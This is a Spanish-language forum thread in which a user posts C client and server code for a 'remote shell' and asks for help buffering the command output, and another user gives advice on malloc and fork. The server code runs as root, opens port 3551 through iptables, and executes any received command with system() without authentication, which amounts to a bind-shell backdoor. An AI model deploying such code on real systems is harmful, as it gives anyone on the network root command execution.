elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Limite de string enviado por un socket.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Limite de string enviado por un socket.  (Leído 2,417 veces)
pacosn1111

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Limite de string enviado por un socket.
« en: 8 Noviembre 2016, 13:13 pm »

Buenas, hace unos meses estaba viendo como redireccionar el stdout a otro socket y gracias al usuario "Arkangel_0x7C5" que respondió lo conseguí, pero ahora tengo otra duda, el código del servidor es:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>  
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #include <strings.h>
  10. #include <string.h>
  11. #include "ss.h"
  12.  
  13. #define buf_max 1000
  14.  
  15. int func_server();
  16. char buf[buf_max];
  17. int limit;
  18.  
  19. void main() {
  20.  
  21. if(getuid()!=0) exit(0);
  22.  
  23. system("iptables -A INPUT -p tcp --dport 3551 -j ACCEPT");
  24. while(1) func_server();
  25. }
  26. int func_server() {
  27. server(3551);
  28.  
  29. while(fd_client) {
  30. limit=recv(fd_client,buf,buf_max,0);
  31. if(buf[0]=='\0') break;
  32. strcat(buf, "&");
  33. buf[limit]='\0';
  34. if((strcmp(buf, "exit"))==0) break;
  35.  
  36. if(fork()==0){
  37. dup2(fd_client, STDOUT_FILENO);
  38. dup2(fd_client, STDERR_FILENO);
  39. system(buf);}
  40. }
  41. close(fd_client);
  42. close(fd_server);
  43. return 0;
  44. }
  45.  

y del cliente:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>  
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #include <strings.h>
  10. #include <string.h>
  11. #include "ss.h"
  12.  
  13. #define buf_max 1000
  14. char array[999999];
  15. int limit;
  16.  
  17. void main(int argc, char *argv[]) {
  18. if(argc!=3) printf("USE: client address port\n");
  19. char buf[buf_max];
  20. if((client(argv[1], atoi(argv[2])))==1) {printf("Falló la conexión con el server\n"); exit(1);}
  21. else printf("Conectado al server %s %d\n PRECAUCIÓN,!No ejecutar ningún comando remoto que requiera intervención!\n", argv[1], atoi(argv[2]));
  22.  
  23. while(fd) {
  24.  
  25. if(fork()==0) {while(fd) {memset(array,'\0',strlen(array)); recv(fd,array,999999,0); printf("%s", array);}}
  26.  
  27. fgets(buf, buf_max, stdin);
  28. if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]='\0';
  29. send(fd, buf, buf_max, 0);
  30. if((strcmp(buf, "exit"))==0) {close(fd); exit(0);}
  31. }
  32. }
  33.  
  34.  

El problema es que el array donde se almacena en el cliente el stdout tiene un tope, fijo, y algunas veces aunque sea muy grande hace falta más ¿Cómo puedo hacer que se adapte al stdout que devuelve el servidor?

Gracias.


En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Limite de string enviado por un socket.
« Respuesta #1 en: 8 Noviembre 2016, 16:53 pm »

Si el problema es guardar uan cadena de tamaño variable, tendrás que hacerlo con memoria dinámica. malloc.
Necesitarás recibir primero la longitud de la cadena. En caso de que esto no sea posible, vas guardando el contenido, y cuando veas que necesitas más espacio, creas una nueva cadena, copias en ella los datos y sigues escribiendo ahí.


En línea

pacosn1111

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: Limite de string enviado por un socket.
« Respuesta #2 en: 14 Noviembre 2016, 12:37 pm »

Si el problema es guardar uan cadena de tamaño variable, tendrás que hacerlo con memoria dinámica. malloc.
Necesitarás recibir primero la longitud de la cadena. En caso de que esto no sea posible, vas guardando el contenido, y cuando veas que necesitas más espacio, creas una nueva cadena, copias en ella los datos y sigues escribiendo ahí.

Antes de nada gracias por responder.

Lo he intentado y estoy dándole vueltas pero sigo sin conseguirlo, lo que tengo hasta ahora es esto:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>  
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #include <strings.h>
  10. #include <string.h>
  11. #include "ss.h"
  12.  
  13. #define buf_max 1000
  14. char * array;
  15. int limit, limit2;
  16.  
  17. void main(int argc, char *argv[]) {
  18. if(argc!=3) printf("USE: client address port\n");
  19. char buf[buf_max];
  20. if((client(argv[1], atoi(argv[2])))==1) {printf("Falló la conexión con el server\n"); exit(1);}
  21. else printf("Conectado al server %s %d\n PRECAUCIÓN,!No ejecutar ningún comando remoto que requiera intervención!\n", argv[1], atoi(argv[2]));
  22.  
  23. while(fd) {
  24.  
  25. if(fork()==0) {
  26.  
  27. while(fd) {
  28. array=(char *) malloc(sizeof(char));
  29. memset(array,'\0',strlen(array));
  30. while((limit2=recv(fd,array,sizeof(char),0))<0) {array=(char *)realloc(array,sizeof(char));}
  31. limit=strlen(array-1);
  32. array[limit]='\0';
  33. printf("%s", array);
  34. free(array);
  35. }
  36.  
  37. }
  38.  
  39. fgets(buf, buf_max, stdin);
  40. if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]='\0';
  41. send(fd, buf, buf_max, 0);
  42. if((strcmp(buf, "exit"))==0) {close(fd); exit(0);}
  43. }
  44. }
  45.  

Lo que hago en resumen es:

Creo un puntero tipo Char. Después, como no tengo forma de saber que me va a devolver el recv, voy obteniendo del recv de caracter a caracter con "sizeof(char)" y cada vez voy asignandole al array un char más meto dato, reservo otro char y así... y en cada ciclo hago un free.

No se ejecuta el comando en el servidor y tampoco imprime nada en el lado del cliente. ¿Alguna sugerencia?
En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Limite de string enviado por un socket.
« Respuesta #3 en: 14 Noviembre 2016, 20:49 pm »

En primer lugar, no puedes hacer strlen d eun array que no has inicializado. El valor que te retorne es "aleatorio"
Código
  1. memset(array,'\0',strlen(array));

No sé qué hace el servidor. De todos modos te diré, que es preferible que empieces de 0, parte a parte, tratandod e hacer algo más básico.
¿Sabrías enviar y recibir una cadena de un tamaño fijo?
Si es así, entonces practica el manejo de memoria dinámica. (Bueno, en cualquier caso, deberías hacer esto último)
Código
  1. array=(char *) malloc(sizeof(char));
  2. /* while */ realloc(array,sizeof(char));
  3. free(array);
Ahí no estás haciendo nada. Estás con un punteor que apunta siempre a 1 char.
En línea

pacosn1111

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: Limite de string enviado por un socket.
« Respuesta #4 en: 17 Noviembre 2016, 10:15 am »

En primer lugar, no puedes hacer strlen d eun array que no has inicializado. El valor que te retorne es "aleatorio"
Código
  1. memset(array,'\0',strlen(array));

No sé qué hace el servidor. De todos modos te diré, que es preferible que empieces de 0, parte a parte, tratandod e hacer algo más básico.
¿Sabrías enviar y recibir una cadena de un tamaño fijo?
Si es así, entonces practica el manejo de memoria dinámica. (Bueno, en cualquier caso, deberías hacer esto último)
Código
  1. array=(char *) malloc(sizeof(char));
  2. /* while */ realloc(array,sizeof(char));
  3. free(array);
Ahí no estás haciendo nada. Estás con un punteor que apunta siempre a 1 char.

Gracias por responder pero sigo hecho un lio, ahora se me ha ocurrido en vez de usar punteros, ir recibiendo de 100 en 100, y esa parte funciona, pero lo que estoy intentando hacer es una shell remota que reciba comandos, los ejecute y envie al cliente la salida de dicho comando, por eso necesito fork() para crear un proceso hijo.

Pero me estoy haciendo un lio del copón con el tema de fork(), he mirado ya bastante documentación y he probado de todo pero sigo sin enterarme.

Ahora mismo lo que tengo de momento es esto:

Cliente:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>  
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #include <strings.h>
  10. #include <string.h>
  11. #include "ss.h"
  12. #include <signal.h>
  13.  
  14. #define buf_max 1000
  15. char * array;
  16. int limit, limit2;
  17. pid_t id;
  18. void main(int argc, char *argv[]) {
  19. if(argc!=3) printf("USE: client address port\n");
  20. char buf[buf_max];
  21. if((client(argv[1], atoi(argv[2])))==1) {printf("Falló la conexión con el server\n"); exit(1);}
  22. else printf("Conectado al server %s %d\n PRECAUCIÓN,!No ejecutar ningún comando remoto que requiera intervención!\n", argv[1], atoi(argv[2]));
  23. char buffer[100];
  24. id=fork();
  25.  
  26. while(fd) {
  27. if(id>0) {
  28.  
  29. fgets(buf, buf_max, stdin);
  30. if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]='\0';
  31. send(fd, buf, buf_max, 0);
  32. if((strcmp(buf, "exit"))==0) {close(fd); kill(id,9); exit(0);}
  33. }
  34. if(id==0) {
  35. while((limit2=recv(fd,buffer,100,0))>0) {
  36. printf("%s", buffer);
  37. memset(buffer,'\0',100);
  38. }
  39. }
  40. }
  41. }
  42.  
  43.  

Y el servidor:

Código
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>  
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9. #include <strings.h>
  10. #include <string.h>
  11. #include "ss.h"
  12. #include <signal.h>
  13.  
  14. #define buf_max 1000
  15.  
  16. int func_server();
  17. char buf[buf_max];
  18. int limit;
  19. pid_t id;
  20.  
  21. void main() {
  22.  
  23. if(getuid()!=0) exit(0);
  24.  
  25. system("iptables -A INPUT -p tcp --dport 3551 -j ACCEPT");
  26. while(1) func_server();
  27. }
  28. int func_server() {
  29. server(3551);
  30. id=fork();
  31.  
  32.  
  33.  
  34. while(fd_client) {
  35.  
  36.  
  37. if(id>0) {
  38.  
  39. limit=recv(fd_client,buf,buf_max,0);
  40. if((strcmp(buf, "exit"))==0) {
  41.  
  42. close(fd_client);
  43. close(fd_server);
  44. close(STDOUT_FILENO);
  45. close(STDERR_FILENO);
  46. kill(id,9);
  47.  
  48. return 0;
  49. }
  50. }
  51. if(id==0){
  52. dup2(fd_client, STDOUT_FILENO);
  53. dup2(fd_client, STDERR_FILENO);
  54. system(buf);
  55. }
  56. }
  57. }
  58.  
  59.  

Gracias.
En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Limite de string enviado por un socket.
« Respuesta #5 en: 17 Noviembre 2016, 14:13 pm »

Puedes practicar sockets, memoria dinámica o multi-proceso/multi-thread. Pero "probarlos" todos a la vez, solo te dará problemas.

Prueba estas cosas por separado, y ya luego ponte con el proyecto grande.

Si quieres hacer este proyecto, yo primero lo haría sin el fork. Recibes un cliente, lees su comando y lo ejecutas. Y ya de ahí, ir agregando cosas.
En línea

pacosn1111

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: Limite de string enviado por un socket.
« Respuesta #6 en: 17 Noviembre 2016, 17:20 pm »

Puedes practicar sockets, memoria dinámica o multi-proceso/multi-thread. Pero "probarlos" todos a la vez, solo te dará problemas.

Prueba estas cosas por separado, y ya luego ponte con el proyecto grande.

Si quieres hacer este proyecto, yo primero lo haría sin el fork. Recibes un cliente, lees su comando y lo ejecutas. Y ya de ahí, ir agregando cosas.

Ya me funciona perfectamente sin que envie la salida al cliente, es decir, recibe comandos y se ejecuta, pero se me ocurrió ponerle esta funcionalidad y es cuando me estoy haciendo un lio.
En línea

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Limite de string enviado por un socket.
« Respuesta #7 en: 17 Noviembre 2016, 18:38 pm »

Una vez el comandos e ha recibido, solo inviertes los papeles. pones al cliente a leer y al servidor a recibir. El caso es el mismo.
Claro que tendrás que leer del socket hasta que el servidor se lo diga (por ejemplo, hasta que el servidor le envíe un caracter nulo '\0')

Por cierto, ¿por qué no pruebas haciendo el servidor más secuencial?
Espera cliente, lee, ejecuta el comando, envía la salida al cliente. Sin fork.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines